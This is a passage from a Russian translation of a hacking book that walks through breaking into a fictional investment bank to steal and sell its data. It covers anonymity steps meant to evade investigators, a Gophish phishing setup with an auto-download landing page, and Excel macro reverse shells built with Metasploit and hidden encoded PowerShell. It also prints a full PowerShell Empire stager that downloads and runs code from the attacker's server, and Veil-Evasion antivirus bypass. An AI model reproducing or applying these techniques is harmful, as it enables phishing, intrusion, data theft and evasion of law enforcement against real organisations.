Uploaded by 0x 1switch

Книга 1 Занимайся хакингом с ловкостью порнозвезды compressed

advertisement
Занимайся хакингом
с ловкостью порнозвезды
Пошаговый процесс взлома БАНКА
(или любой другой организации, не важно)
Спарк Флоу
https://hacklikeapornstar.com
Перевод
@Ianuaria
skladchik.com
Отказ от ответственности
Примеры в этой книге полностью вымышлены. Описываемые
инструменты и техники имеют открытый исходный код, а
следовательно - доступны публично. Специалисты по безопасности
и пентестеры регулярно используют их в своей работе, также как и
атакующие. Если вы стали жертвой компьютерного преступления и
обнаружили в этой книге демонстрацию техник или инструментов,
то это никоим образом не означает, что автору этой книги можно
инкриминировать любую связь с компьютерным преступлением,
содержимое этой книги не дает никаких оснований полагать, что
есть какая-либо связь между автором книги и преступниками.
Любые
действия
и/или
деятельность, связанные с
материалом, содержащимся в этой книге, находятся целиком под
вашей
ответственностью.
Неправильное
использование
информации из этой книги может стать результатом обвинений в
совершении уголовного правонарушения в адрес соответствующих
лиц. Автор не несет никакой ответственности за деяния лиц,
использующих информацию из этой книги в преступных целях.
Эта книга не призывает заниматься хакерством, взломом
программного обеспечения и/или пиратством. Вся информация,
представленная в книге, предназначена исключительно в
образовательных целях. Она призвана помочь организациям
защитить свои сети от атакующих, а следователям собрать
цифровые улики во время расследования инцидентов.
Совершение любых попыток по хакингу/взлому систем или
тестирование систем на проникновение должно сопровождаться
письменным разрешением от владельцев данных систем.
Перевод выполнен в ознакомительных целях. Отблагодарить
автора и приобрести данную книгу, а также другие оригинальные
книги Спарка Флоу можно на его официальном сайте:
https://www.hacklikeapornstar.com/best-hacking-books/
Перевод
@Ianuaria
skladchik.com
Безопасность в первую очередь
“Я - чистый лист, а следовательно,
я могу творить, что захочу”.
Тоби Магуайр
Перевод
@Ianuaria
skladchik.com
Если говорить об информации, которая игнорируется в
большинстве современных книг и блогов по хакерству, то это
информация о том, как сохранять безопасность, занимаясь
хакерством.
Другими
словами, они упускают подробную
детализацию алгоритмов и техник, которые обычный хакер может
использовать, и которые будут гарантировать определенный
уровень анонимности и безопасности. Вы можете быть лучшим
хакером в мире, но если вы не можете управлять своими
отпечатками в интернете и правильно стирать свои следы, то вы
попросту потерпите полный провал.
Поэтому перед тем, как пробовать наши техники в деле, мы в
деталях обсудим, как выстроить уровни безопасности для
обеспечения максимального уровня защиты. Если вы хотите
приступить к хакерству прямо сейчас, пожалуйста, переходите к
главе 2, но постарайтесь найти время и ознакомиться с этим
разделом как-нибудь позже.
Перевод
@Ianuaria
skladchik.com
Чистый лист
Единственное
наиболее
эффективное
правило
для
безопасности при хакерстве можно выразить в пяти словах:
“Каждый раз начинай с нуля”​
. Под словами “с нуля” я имею ввиду
новый компьютер, новый хот-спот, новый IP-адрес и новые сервера
для каждого нового взлома.
Следователи будут искать типовые паттерны между атаками.
Они будут пытаться сложить мелкие улики воедино для
составления более объемной и ясной картины: ​
“Встречали ли мы
этот IP-адрес в других атаках? Какой браузер использовался
этим
IP
в
других
атаках?1
К
какому
аккаунту
Gmail/Yahoo/Microsoft/Facebook был получен доступ в прошлых
атаках?”
Не думайте, что правоохранительные структуры во время
проведения расследований работают обособленно. У них есть
доступ к пулу информации, начиная от записей вашего локального
интернет-провайдера и заканчивая сайтами социальных сетей.
Чтобы понять, как работают проекты по массовой слежке под
управлением
правительств
(США,
Франция,
Канада,
Великобритания и так далее), ознакомьтесь с историей Эдварда
Сноудена2 и приготовьтесь удивиться.
Старт с нуля каждый раз помогает сохранять завесу
анонимности вокруг артефактов, собираемых следователями, и
помешает им соединить элементы для отслеживания вашей
реальной личности.
1
У вашего браузера уникальный отпечаток: версия ОС, установленные плагины, версия патчей
и т.д. Он используется многими соцсетями для идентификации пользователей, даже если они
меняют IP-адреса
2
​http://www.imdb.com/title/tt4044364/​и ​https://www.theguardian.com/us-news/the-nsa-files
Перевод
@Ianuaria
skladchik.com
Сетевая анонимность
Первый закон принципа чистого листа - никогда не
использовать IP-адрес вашего дома/университета/работы. Никогда.
Даже с двумя уровнями анонимности поверх них.
Всегда допускайте, что на определенном этапе вследствие
небольшого сбоя в системе может каким-либо образом произойти
утечка вашего реального IP-адреса и это попадет к следователю:
крошечная деталь, которую вы упустили, ограничения какой-либо
технологии или супермощные системы сбора и анализа
информации АНБ.
Небольшая зацепка к реальному миру - это все, что
необходимо,
чтобы
смотивировать
представителя
правоохранительных органов копнуть глубже, выписать ордер и
надавить на вас, чтобы вы признали себя виновным. Мы не хотим
этого.
Первый уровень - раствориться в толпе
Какой IP-адрес тогда использовать? Я крайне рекомендую
использовать Wi-Fi хот-споты, например, в забегаловках (Starbucks,
Olympus, McDonalds и проч.), либо крупные публичные
пространства типа торговых комплексов, вокзалов и т.д., при
условии, что там есть достаточно много людей, чтобы скрыть вас от
потенциальных камер.
При доступе к Wi-Fi хот-споту у вас могут быть запрошены
персональные данные, но конечно, вы можете ввести любую
информацию, какую захотите. Если требуется верификация по
мобильному телефону, выбирайте другой спот или используйте
предоплаченную SIM-карту - оплаченную за наличные - если есть
такая возможность.
Перевод
@Ianuaria
skladchik.com
Если требуется подтверждение по электронной почте,
используйте аккаунт на ​http://www.yopmail.com/​
. Это сайт, который
предоставляет доступ к почтовому ящику буквально за считанные
секунды, что весьма полезно для получения ссылок подтверждения
и спам-сообщений.
Второй уровень - передавай данные контрабандой, как
“чемпион”
Второй уровень безопасности хакерства в значительной
степени - наиболее важный. Как правило, он включает
использование туннелированной сети, которая шифрует все
данные, которые путешествуют по ней, и ​
в идеале не ведет
совершенно никаких журналов о том, кто и к какому IP-адресу
получает доступ.
TOR3 - это свободный и опенсорсный проект, который
занимается именно этим. Это сеть из серверов, которые
обмениваются шифрованной информацией. К примеру, запрос с
вашего компьютера во Франции зайдет в сеть TOR, будет
зашифрован несколько раз и выйдет на сервере в Китае, перед тем,
как достичь финального пункта своего назначения (Facebook, Twitter
и проч.).
3
​https://www.torproject.org/
Перевод
@Ianuaria
skladchik.com
Сервисы, которые вы посещаете (к примеру, Facebook) не
смогут увидеть оригинальный IP-адрес; они увидят только IP-адрес
выходного узла. Поскольку множество людей используют этот
выходной узел, позже это может сильно запутать любого, кто
проводит расследование.
Первый узел знает ваш реальный IP-адрес (и следовательно,
ваше реальное местоположение), но не знает, какой выходной узел
ваш запрос будет использовать в завершении своего пути. Если,
вдобавок ко всему, веб-страница вернула данные, используя SSL
(HTTPS), первый узел больше не сможет видеть содержимое
вашего запроса, только IP-адрес Facebook.
Принимая во внимание большое количество доступных узлов
для пересылки запросов пользователей, шансы одновременного
прохождения через скомпрометированный входной узел и
скомпрометированный выходной узел - достаточно низки. Хотя это
правда, что по-прежнему имеются способы нарушения анонимности
пользователей, эффективность которых была доказана.
Перевод
@Ianuaria
skladchik.com
Подумайте о вредоносном сайте, который делает инъекцию
кода в ваш TOR-браузер. Код устанавливает вредоносное ПО,
которое совершает обычные запросы (которые не идут через TOR)
на сайт под контролем правительства. Это эффективно устраняет
каждый уровень защиты, который предоставляет TOR. Подобные
сценарии находятся полностью в пределах возможностей
правительственных структур и серьезных корпораций.
Более того, долгое время ходят слухи о том, что некоторые
правительственные структуры контролируют приличное количество
узлов в сети TOR, а следовательно, могут коррелировать
различную информацию и статистики с целью уникальной
идентификации пользователей TOR; остерегайтесь ограничений
этого сервиса.
Если TOR - не лучший вариант для вас, можно использовать
VPN-провайдера - предпочтительно, платного4, так, чтобы у вас
была уверенность в определенном уровне надежности.
Виртуальная часть сеть (VPN) - это шифрованная сеть из двух
и более машин. VPN-провайдер создает туннель между вашей
рабочей станцией и одним из своих серверов. Любой запрос,
который вы отправляете из своего браузера, будет проходить через
их сервер, который будет в процессе скрывать ваш реальный
IP-адрес.
4
Используйте Биткоин или другие криптовалюты для анонимной оплаты
Перевод
@Ianuaria
skladchik.com
Каждый запрос с вашего компьютера шифруется. Ваш
местный интернет-провайдер не будет знать, какой трафик вы
отправляете, или с каким IP-адресом вы контактируете, что весьма
полезно для уклонения от программ по цензуре, проводимых
правительственными структурами.
При такой настройке, конечно, VPN-провайдер является
самым слабым звеном. Он знает ваш оригинальный IP-адрес, а
следовательно, ваше местоположение (даже ваше имя, если вы
оплатили со своей кредитной карты). Некоторые сервисы VPN,
однако, гарантируют, что их сервера хостятся в странах,
нейтральных по отношению к большинству правоохранительных
органов и не сохраняют совершенно никаких логов с информацией
о том, что происходит на их серверах. Ознакомьтесь с сайтом
https://www.privacytools.io/​, чтобы получить некоторые примеры.
Третий уровень - последний рубеж
Напомню, мы подключены к публичному хот-споту
отправляем все наши запросы через TOR или VPN-сервер.
и
Вы можете подумать, что это идеально, но есть одна основная
проблема с этим набором: пропускная способность слишком низкая,
чтобы проводить какие-либо реальные атаки.
Плюс, техники
Перевод
@Ianuaria
skladchik.com
маскировки IP-адреса затруднят использование некоторых
инструментов и методов (к примеру, сканирования портов или
обратные оболочки).
На этом этапе вступает в игру наш последний кусочек пазла:
виртуальный частный сервер (VPS), напрямую подключенный к
интернету. Мы будем контролировать этот сервер через наш
низкоскоростной канал и давать ему инструкции на запуск тяжелых
запросов в адрес целей, он будет использовать широкую полосу
пропускания, которая находится в его распоряжении:
Этот VPS, под названием “Front Gun сервер” (Передовая
пушка), будет, разумеется, оплачен за биткоины (или любой другой
анонимной криптовалютой). Безусловно, нет более убедительной
улики (или более простой для отслеживания), чем данные
кредитной карты. Вы сможете найти список провайдеров,
принимающих биткоины5, по следующей ссылке6.
Этот сервер может хостить любую операционную систему, с
которой вы будете чувствовать себя комфортно. Например, вы
5
​https://www.bitcoin.com/
6
​http://cryto.net/~joepie91/bitcoinvps.html
Перевод
@Ianuaria
skladchik.com
можете установить Kali Linux.7 Он поставляется в комплекте с
предустановленными полезными инструментами, что избавляет от
ряда проблем. Лично я предпочитаю иметь обе машины - с Linux, и
с Windows, для максимальной гибкости. Этого можно достичь,
например, имея машину с Windows, на которой виртуальная
машина будет хостить Kali Linux.
Представим, что следователи пытаются отследить корни
атаки. Они смогут идентифицировать IP-адрес сервера Front Gun и
впоследствии конфисковать его - если это возможно - либо
взломать его для исследования IP-соединений. Имеющиеся
IP-адреса окажутся принадлежащими выходным узлам VPN,
которые используют сотни или тысячи других пользователей.
VPN-провайдер находится в нейтральной стране, не хранит логов и
не имеет доступа к данным кредитной карты.
Даже
если
каким-либо
чудом
провайдер
решит
скооперироваться с правоохранительными органами и шпионить за
своими пользователями, провайдер передаст им IP-адрес
публичного хот-спота, который скорее всего будет находиться в
другой стране и используется тысячами пользователей ежедневно.
Все это - длинная череда регрессии, которая делает расследование
все менее и менее перспективным, до тех пор, пока стоимость
расследования не перевесит расследуемый ущерб, и (остается
надеяться) дело будет прекращено.
7
​https://www.kali.org/
Перевод
@Ianuaria
skladchik.com
Анонимность системы
Поскольку с сервера Front Gun будут запускаться все атаки, на
него нужно загрузить и установить все наши любимые инструменты.
Нет нужды держать все на своем локальном компьютере, это
значительно снижает вероятность того, что вас заподозрят в
каком-либо злонамеренном поведении.
На деле, ваш локальный компьютер может состоять из
временной
операционной
системы,
загружаемой
с
Live
8
USB-флешки. Таким образом, любые данные, даже удаленно
связывающие вас с атакой, будут стираться после каждой
перезагрузки.
Что касается выбора дистрибутива Linux, если вы используете
сеть TOR, предпочтительнее использовать WHONIX9 или TAILS10,
которые инкапсулируют весь трафик внутри сети TOR. С другой
стороны, Kali Linux, возможно, это самый простой вариант, хотя и
другие дистрибутивы Linux справятся с этим, при условии, что вы
можете поставить VPN-клиент на них.
8
​http://www.linuxliveusb.com/​создание загрузочного USB-устройства с Linux
9
​https://www.whonix.org/
10
​https://tails.boum.org/
Перевод
@Ianuaria
skladchik.com
Заходим внутрь
“Трещины есть во всем,
именно через них свет попадает внутрь”
Леонард Коэн
Перевод
@Ianuaria
skladchik.com
Вы нашли отличный спот для анонимного получения
бесплатного интернета, вы настроили сеть TOR/VPN, и у вас есть
виртуальный частный сервер, который будет работать в качестве
передовой пушки. Вы чувствуете возбуждение; вы готовы!
Наша (фейковая) цель будет корпорацией под названием
Slash & Paul’s Holding. Это инвестиционный банк, который
управляет активами одних из самых богатых клиентов со всего
мира. Не факт, что эти клиенты - зло; просто так получилось, что у
них есть огромные суммы денег.
Перед тем, как запустить нашу армаду инструментов и трюков
против них, давайте остановимся и придем к согласию по поводу
наших праведных (дьявольских) целей:
● Мы хотим получить электронные письма директора, потому
что это попросту классика!
● Мы также хотим украсть и продать данные по компании и
данные по персоналу: номера счетов в банке, данные
кредитных карт, информация о персонале и т.д.
● Но больше всего мы хотим остаться незамеченными.
Инфраструктура SPH (Slash & Paul’s Holding) в общих чертах,
возможно, выглядит похожей на следующую:
Перевод
@Ianuaria
skladchik.com
Это чрезмерно упрощенная схема, конечно, поскольку
реальная сеть была бы, вероятно, гораздо более сложной. Но мы
всегда будем находить некоторые характерные элементы:
● Демилитаризованная зона (DMZ), далее мы будем называть
ее Bluebox (Синяя коробка). Обычно в ней хостятся сервера с
выходом в интернет, что по всем стандартам делает ее
“недоверенной” зоной, хотя некоторые компании настаивают
на предоставлении ей практически полного доступа во
внутреннюю сеть.
● Greenbox (Зеленая коробка), представляющая внутреннюю
сеть. В ней хостятся рабочие станции, бизнес-приложения,
сервера электронной почты, общие сетевые ресурсы и т.д.
И также здесь есть темная область - мы попросту не знаем,
что в ней. Все зависит от сетевой конфигурации в SPH. В самом
простом случае, наиболее критичные сервера будут хоститься в
Зеленой коробке, что снизит темную область до небольшого
сегмента, содержащего некоторые камеры и телефоны. Однако, все
больше компаний переходят к защите своих наиболее критичных
Перевод
@Ianuaria
skladchik.com
активов за слоями файрвола, создавая множество небольших,
изолированных сетей.
Но давайте не будем заходить слишком далеко, и вместо
этого сфокусируемся на первоочередном следующем этапе:
создание теплого гнездышка внутри Синей коробки - или даже в
Зеленой коробке, если удача нам улыбнется.
Для этого нам нужно сделать следующее:
● Фишинг. В наше время самый популярный способ; мы узнаем,
почему, через пару минут.
● Атака публичного сервера в Синей коробке. Тяжелее, но
эффективно.
● Заумные формы социальной инженерии с использованием
фейковых USB-флешек, аппаратных имплантов и т.д. Оставим
это для реально замотивированных хакеров.
Посадим их всех на крючок
Фишинг - это воздействие на пользователя, чтобы хитростью
заставить его выполнить какое-либо действие, которое ослабит
безопасность компании некоторым образом: переход по ссылке,
раскрытие своего пароля, загрузка кажущегося безвредным
программного обеспечения, перевод денег на определенный счет, и
так далее.
Классическая фишинговая атака нацеливается на сотни и
тысячи пользователей, чтобы гарантировать определенный уровень
успеха. Таргетированные фишинговые атаки могут достигать вплоть
до 30%11 успеха. Некоторые из более скрытных кампаний могут
нацеливаться только на нескольких ключевых сотрудников с
тщательно настраиваемыми сообщениями, это называется
целевым фишингом.
11
​https://blog.barkly.com/phishing-statistics-2016
Перевод
@Ianuaria
skladchik.com
С точки зрения хакера, фишинговая атака - это одна из лучших
атак по одной простой причине: если мы достигаем успеха, мы
начинаем контролировать машину, которая сидит внутри Зеленой
коробки. Это как сидеть внутри офиса с учетной записью в сети
компании. Бесценно!
Теперь, для нашей фишинговой кампании, нам нужны
несколько ключевых элементов:
●
●
●
●
Список сотрудников и их адреса электронной почты
Отличная идея по содержимому электронного письма
Платформа для отправки электронных писем
Хорошо подобранный вредоносный файл, который даст нам
доступ к машине пользователя
Давайте разберемся с ними по порядку.
Имейлы, имейлы, имейлы
Практически у каждой компании есть публичный веб-сайт,
который мы можем просмотреть для получения базовой
информации об их бизнесе, специализации и контактной
информации: типовые адреса электронной почты, номера
телефонов и т.д.
Адрес электронной почты компании важен, поскольку он
предоставляет два ключевых элемента:
● Имя домена, которое используется их сервисом электронной
почты (оно может совпадать или нет с официальным адресом
сайта)
● Формат почтового адреса: например,
“имя.фамилия@company.com” или
“первая_буква_фамилии.имя@company.com”
Перевод
@Ianuaria
skladchik.com
Когда
мы
посещаем
веб-страницу
www.sph-assets.com/contact,​ мы находим типовой контактный
адрес: ​
marketing@sph-assets.com​. Само по себе, это не особо
полезно, но простая отправка письма на этот адрес12 приведет нас к
ответу от реального человека, работающего в отделе маркетинга.
Отлично. Мы получили два ценных фрагмента данных из этого
письма:
● Формат адреса электронной почты: первая буква фамилии, за
ней имя: ​pvilma@sph-assets.com
● Графическая схема электронного письма: дефолтный шрифт,
набор цветов компании, формат подписи и т.д.
Эта информация - ключ, потому что теперь нам нужны только
полные имена людей, работающих в этой компании, чтобы
логически вывести их адреса электронной почты. Благодаря
Facebook, Twitter и LinkedIn, это проще простого. Мы просто
изучаем страницу компании и выясняем, каким людям она нравится,
кто подписан или делится ее контентом.
12
Используя анонимный сервис электронной почты, конечно же: ​
https://protonmail.com/​
,
http://www.yopmail.com/​и т.д.
Перевод
@Ianuaria
skladchik.com
Интересный инструмент, который вы можете использовать для
автоматизации этого процесса - ​
TheHarvester13, который собирает
адреса электронной почты из поисковой выдачи Google/Bing/Yahoo.
Обращение к социальным сетям, как бы то ни было, дает более
точные и актуальные результаты.
Содержимое электронного письма
Для нашей фишинговой кампании нам нужно, чтобы люди
открывали файл, который будет извлекать вредоносную программу.
Следовательно, наше электронное письмо должно быть достаточно
интригующим, чтобы подтолкнуть людей к незамедлительному
открытию, а не чтобы они просто зевнули и перенесли его в архив.
Ниже вы найдете несколько идей, но я уверен, что вы сможете
придумать нечто более хитроумное:
● Последние отчеты, демонстрирующие резкое снижение
продаж
● Срочный счет, который нужно оплатить незамедлительно
● Последний отчет Bloomberg
● Результаты исследований по акционерам
● Резюме нового менеджера для интервью
Содержимое электронного письма должно быть коротким и по
делу, а также имитировать формат корпоративных электронных
писем, который мы выяснили ранее. Адрес отправителя
электронного письма может содержать какое-либо вымышленное
имя, которое вы смогли придумать. Конечно же, многие сервера
электронной почты позволяют вам определять любой адрес
отправителя без каких-либо надлежащих подтверждений.
В интернете доступно огромное количество открытых
SMTP-серверов, которые мы можем использовать для свободной
13
​https://github.com/laramies/theHarvester
Перевод
@Ianuaria
skladchik.com
отправки имейлов, но мы можем просто настроить свой
собственный сервер электронной почты, который свяжется с
sph-assets.com и отправит фишинговые сообщения. Комплексный
и автоматизированный инструмент для этого - ​
Gophish.14
Следуйте инструкциям на их сайте для загрузки и установки
этой платформы. Как только он будет готов к работе, вы сможете
приступить к созданию своей кампании.
Мы начнем с настройки “Профиля отправителя” (“Sending
Profile”): адрес отправителя электронного письма и SMTP-сервер
(localhost). В идеале, нам нужен email-адрес, похожий на
IT_support@sph-assets.com,​ однако, есть приличные шансы того,
что email-сервера SPH запрещают любую входящую почту извне с
источником, указанным в формате ​
xxx@sph-assets.com,​ и это
имеет
смысл.
Все
электронные
письма,
исходящие
с
“@sph-assets.com” должны поступать из внутренней сети, а не из
внешнего интернета.
Исходя из этого, в меню Sending Profiles нам нужно
определить другое доменное имя, например, ​
sph-group.com.​ Это
имя домена не обязательно должно существовать для того, чтобы
можно было отправлять электронные письма. Не утруждайте себя
его созданием. Более того, люди обычно не уделяют внимания
отправителю письма, особенно при условии, что мы поместим
алиас: ​"IT Support" <it-support@sph-group.com>
14
​https://getgophish.com/
Перевод
@Ianuaria
skladchik.com
Мы добавляем пользователей, на которых собираемся
нацелиться, в меню “Пользователи и Группы” (“Users & Groups”),
затем переходим к “Шаблонам электронного письма” (“Email
Templates”) для написания содержимого нашего сообщения:
Мы создаем дизайн для содержимого письма таким образом,
чтобы оно было похоже на письмо, полученное от маркетолога
(такая же подпись, такой же набор цветов, такой же шрифт и т.д.).
Письмо будет приглашать пользователей нажать по ссылке,
Перевод
@Ianuaria
skladchik.com
которая
загружает
файл.
Ссылка
будет
автоматически
​ лагодаря переменной {{.URL}}
подставляться ​GoPhish б
Включение ссылки в тело письма снижает шансы быть
пойманными спам-фильтром, в отличие от вложения вредоносного
файла напрямую в письмо.
Мы регистрируем свободное DNS-имя для нашего сервера
Front Gun на ​https://www.noip.com/​
. Что-то типа ​
sphgroup.ddns.net
подойдет достаточно хорошо. Нам необходимо определить это
DNS-имя в качестве значения переменной {{.URL}} при запуске
кампании.
Поскольку нам не нужно разводить пользователей на то,
чтобы они предоставили нам свои учетные данные, нас не волнует
содержимое веб-страницы. Скачивание файла будет запускаться
автоматически, а затем пользователи будут перенаправляться на
реальный веб-сайт SPH.
В меню Gophish “Посадочная страница” (“Landing Page”) мы
вставляем следующий код:
<html>
<iframe width="1" height="1" frameborder="0"
файла на машине с Gophish]"></iframe>
src="[Местоположение
<meta http-equiv="refresh" content="5;url=http://www.sph-assets.com" />
</html>
Фишинговая кампания готова к запуску, за исключением одной
небольшой детали: вредоносного ПО. Это будет темой следующей
главы.
Перевод
@Ianuaria
skladchik.com
Вредоносный файл
Есть несколько вариантов того, какой тип файла мы можем
отправить нашим целям. Исполняемый (.exe) файл, однако, вызовет
сильное подозрение15, и будет отвергнут email-клиентами. Мы
будем использовать кое-что более умное: таблицу Excel,
содержащую вредоносный код, который будет связываться обратно
с нашим сервером, подгружать оттуда команды для исполнения на
машине жертвы и отправлять результат обратно: обратную
оболочку.
Чистокровный VBA
Visual Basic - это скриптовый язык, который можно встраивать
в документы Office (Word, Excel, PowerPoint и т.д.). Он широко
используется в корпоративном мире для обработки данных.
Сотрудники компаний, по этой причине, привыкли к тому, что при
открытии документа может потребоваться выполнение макросов
(VBA-код).
Если вы спец по VBA, я уверен, что вы сможете быстро
разобраться с кодом, который будет связываться с сервером Front
Gun, получать обратно команды, а затем исполнять их на
зараженном компьютере. Однако, VBA определенно не мой конек, я
буду полагаться на автоматизированный фреймворк, который
предоставляет различные инструменты для эксплуатации систем и
генерации полезной нагрузки (пейлоад): ​
Metasploit.​16 По умолчанию
он устанавливается в Kali Linux.
Поскольку нам нужно сначала протестировать код, мы
настраиваем прослушиватель (listener) на сервере Front Gun,
используя утилиту ​Netcat.​ Она часто называется армейским
15
Хотя некоторые хакеры пытаются спрятать файл, добавляя “тупое” расширение: например,
“image.jpg.exe”
16
​https://www.metasploit.com/
Перевод
@Ianuaria
skladchik.com
швейцарским ножом для хакеров. Она просто отправляет и
получает соединения через сырые сокеты, но также может быть
использована для получения обратной оболочки, передачи файлов
и т.д.
Данная команда открывает
ожидание входящих соединений.
порт
443
и
устанавливает
​ ля
Далее, мы используем ​msfvenom из фреймворка ​
Metasploit д
генерации вредоносного VBA-пейлоада.
Это сгенерирует пейлоад с обратной оболочкой для
архитектуры x86, без какого-либо специального кодирования (-e
generic/none). Мы копируем/вставляем код в макрос Excel:
Если мы проанализируем сгенерированный код, то поймем,
что он делает следующее:
Перевод
@Ianuaria
skladchik.com
● Запускает полезную нагрузку по открытию документа, вызывая
процедуру Workbook_Open;
● Определяет массив, содержащий непосредственный код,
выполняющий обратное соединение и исполнение кода. Он
написан на языке ассемблера для архитектуры x86, а
следовательно, не зависит от используемого языка (VBA,
PowerShell и т.д.);
● Выделяет немного памяти, для которой разрешено
выполнение (Executable Memory), в которую копируется
шелл-код, а затем выполняется
Metasploit ​почти всегда следует этому паттерну генерации
своих пейлоадов, независимо от используемых языков. Это
позволяет антивирусным решениям легко помечать что-либо
произведенное этим инструментом. Вот вам и скрытность.
Мы могли бы с легкостью добавить функции шифрования,
которые шифровали бы переменную, содержащую шелл-код
(некоторые идеи для этого можно почитать здесь17, например), но
давайте попробуем совершенно иной подход с меньшим
количеством проблем.
PowerShell спешит на помощь
PowerShell - это один из самых мощных скриптовых языков на
Windows. Он быстро стал самым доверенным инструментом
админов - и равным образом, самым излюбленным средством
хакеров. Посмотрите на некоторые реально крутые инструменты на
этой странице.18
17
​http://www.freevbcode.com/ShowCode.asp?ID=3353
18
​https://www.peerlyst.com/posts/resource-infosec-powershell-tools-resources-and-authors
Перевод
@Ianuaria
skladchik.com
Следуя тому же паттерну, что и ранее, мы хотим
сгенерировать обратную оболочку на PowerShell , а затем встроить
ее в документ Office. Начнем с PowerShell-скрипта.19
Чтобы убедиться, что скрипт работает как положено, мы
выполняем его на обычной машине с Windows при помощи
следующей команды:
На сервере Front Gun мы настраиваем наш listener на порту
4444:
19
​http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
Перевод
@Ianuaria
skladchik.com
Отлично! У нас есть удаленное выполнение на удаленной
(тестовой) машине. Теперь, в идеале, нам нужно вызвать этот
скрипт, используя VBA-код, который должен выглядеть примерно
так:
VBA> Shell ("powershell c:\temp\reverse.ps1 ")
Но тогда нам придется записать скрипт на диск жертвы, что
может вызвать тревогу. Один из способов избежать этого использовать
великолепную
фичу
PowerShell построчного
выполнения команд! Вместо исполнения файла, мы будем
выполнять строку кода, передаваемую в качестве аргумента в
powershell.exe.
Начнем с добавления точки с запятой “;” к концу каждой
инструкции:
Перевод
@Ianuaria
skladchik.com
Далее, мы кодируем содержимое скрипта в Unicode base64 в
Linux:
Мы можем вызвать этот код, используя встроенный параметр
-encodedcommand:
Параметр “-W Hidden” держит PowerShell в фоновом режиме.
Последний штрих, вызвать эту процедуру - Launch_me() - когда
пользователь откроет документ Office:
Sub Workbook_Open()
Launch_me()
End Sub
Мы можем продолжить подстройку этого VBA-макроса, чтобы
его было еще сложнее прочитать, но и этого вполне хватит.
Перевод
@Ianuaria
skladchik.com
Интересная утилита для знакомства - ​Lucky Strike​. Она содержит
прикольные фичи, например шифрование с использованием
домена электронной почты пользователя (@sph-assets.com) и
другие полезные опции.
Исчерпывающее руководство от автора доступно по данной
ссылке20, чтобы все заработало.
Empire наносит удар
Предыдущая полезная нагрузка подойдет нам, но в ней есть
некоторые основные ограничения, когда дело доходит до боевой
обстановки:
● Поскольку мы используем сырые сокеты для инициализации
соединения, рабочая станция, использующая веб-прокси для
доступа в интернет, (скорее всего) не сможет соединиться
обратно
​ ринимает только одно соединение за
● Наш listener ​Netcat п
один раз. Не идеально для фишинговой кампании, нацеленной
на сотни пользователей
● Шелл, который мы используем, довольно базовый. Было бы
интересно иметь некоторые автоматические команды,
например, для запуска кейлоггера, сниффинга паролей и т.д.
Здесь пригодится небезызвестный ​
PowerShell Empire.​21 Это
фреймворк, который предоставляет listener, способный работать со
множеством зараженных пользователей, а также предоставляет
шелл с интересными командами, например, для получения паролей
в открытом тексте, pivoting, повышения привилегий и проч.
20
​http://www.shellntel.com/blog/2016/9/13/luckystrike-a-database-backed-evil-macro-generator
21
​https://www.powershellempire.com/
Перевод
@Ianuaria
skladchik.com
Для загрузки и установки ​Empire PS ознакомьтесь с этим
постом в блоге22 (по сути дела, скопировать Git-репозиторий и
запустить ​install.sh)​.
На экране приветствия зайдите в меню прослушивателей
(команда ​listeners​) и выведите список дефолтных listener-ов при
помощи команды ​info​:
Настройте правильный порт и адрес с помощью команды ​
set
(например, ​set Port 443​). Далее, запустите listener командой ​
run
<Имя_прослушивателя>​.
Теперь нам нужно сгенерировать код PowerShell, который
будет соединяться обратно с этим listener. Будем называть этот
фрагмент кода “stager” или “agent”:
[SysTeM.NET.SErVicePOinTMaNAGer]::EXPeCt100CoNtiNue = 0;$wC=NEw-ObjEct
SYstEM.Net.WEbCLIenT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko';$Wc.HeaderS.Add('User-Agent',$u);​
$Wc.PROXy=
​ $WC.PRoxy.CreDEntIals=
[SystEm.NEt.WebREQuest]::DefAuLtWEBPROxy;
22
​http://www.powershellempire.com/?page_id=110
Перевод
@Ianuaria
skladchik.com
[SYsTEM.NeT.CREDENtiAlCAChe]::DefAulTNeTwORKCrEDentiALS;​$K='7b24afc8bc80e548d66c4e
7ff72171c5'
[chAr[]]$b=([cHaR[]]
($WC.DowNLOAdStrinG("http://<Front_Gun>:443/index.asp")))|%{$_​ $i++%$k.LEngTH]};IEX ($B-joIn'')
bXor$K[
Как
видите,
agent
использует ключ симметричного
шифрования для передачи полезной нагрузки и хорошо
справляется с любым потенциальным прокси, определенным на
рабочей станции. Когда скрипт выполняется на удаленной машине,
мы получаем новое оповещение на сервере Front Gun.
Мы исследуем некоторые интересные возможности Empire в
последующих главах, а тем временем, вы можете изучить команду
help​, чтобы составить общее представление.
Чтобы встроить этот PowerShell-скрипт в документ Excel, мы
будем использовать стандартную шелл-функцию, как было
показано ранее, или воспользуемся ​
Lucky Strike.​
Meterpreter на VBA
Вместо использования stager-а ​
PowerShell Empire для
получения шелла, мы можем пойти другим путем, например,
​ з фреймворка ​
развернуть шелл ​Meterpreter и
Metasploit.​ Для наших
текущих задач, разница между двумя stager-ами сравнительно
низкая. Оба они имеют дополнительные модули для выполнения
интересных действий на зараженных рабочих станциях, но
использование двух stager-ов увеличивает наши шансы на обход
антивирусных решений SPH (антивируса, песочницы, IDS и т.д.).
Перевод
@Ianuaria
skladchik.com
Как было сказано ранее, пейлоады ​
Metasploit ​(включая
Meterpreter​) хорошо известны антивирусным решениям. Они всегда
срабатывают, поднимая тревогу сразу же, как только пейлоады
попадают на цель. Чтобы преодолеть эту проблему, мы
сгенерируем такой же пейлоад ​
Meterpreter,​ используя другой
инструмент, который автоматически добавляет множество уровней
шифрования и обфускации: ​
Veil-Evasion​.23
Для справки, ​Veil-Evasion сгенерирует обфусцированный
шеллкод ​Meterpreter ​на PowerShell, и этот код будет соединяться
обратно со стандартным listener ​
Metasploit ​на нашем сервере Front
Gun, что даст нам полный доступ к рабочей станции.
Отлично. Но как нам это сделать? Во-первых, нам нужно
установить ​Veil-Evasion на Linux при помощи классического ​
apt-get
install veil-evasion​. Установка достаточно долгая, но как только мы
зайдем в него, он весьма интуитивно понятен.
23
​https://github.com/Veil-Framework/Veil-Evasion
Перевод
@Ianuaria
skladchik.com
​ тобразит все доступные пейлоады. Мы выберем
Команда ​list о
пейлоад на PowerShell ​reverse_https:​
Это сгенерирует два файла:
● Файл meter.bat, который выполняет пейлоад на PowerShell
● Преднастроенный listener ​
Metasploit:​ meter.rc
Нам нужно запустить listener при помощи следующей команды:
Далее, мы можем протестировать файл meter.bat, чтобы
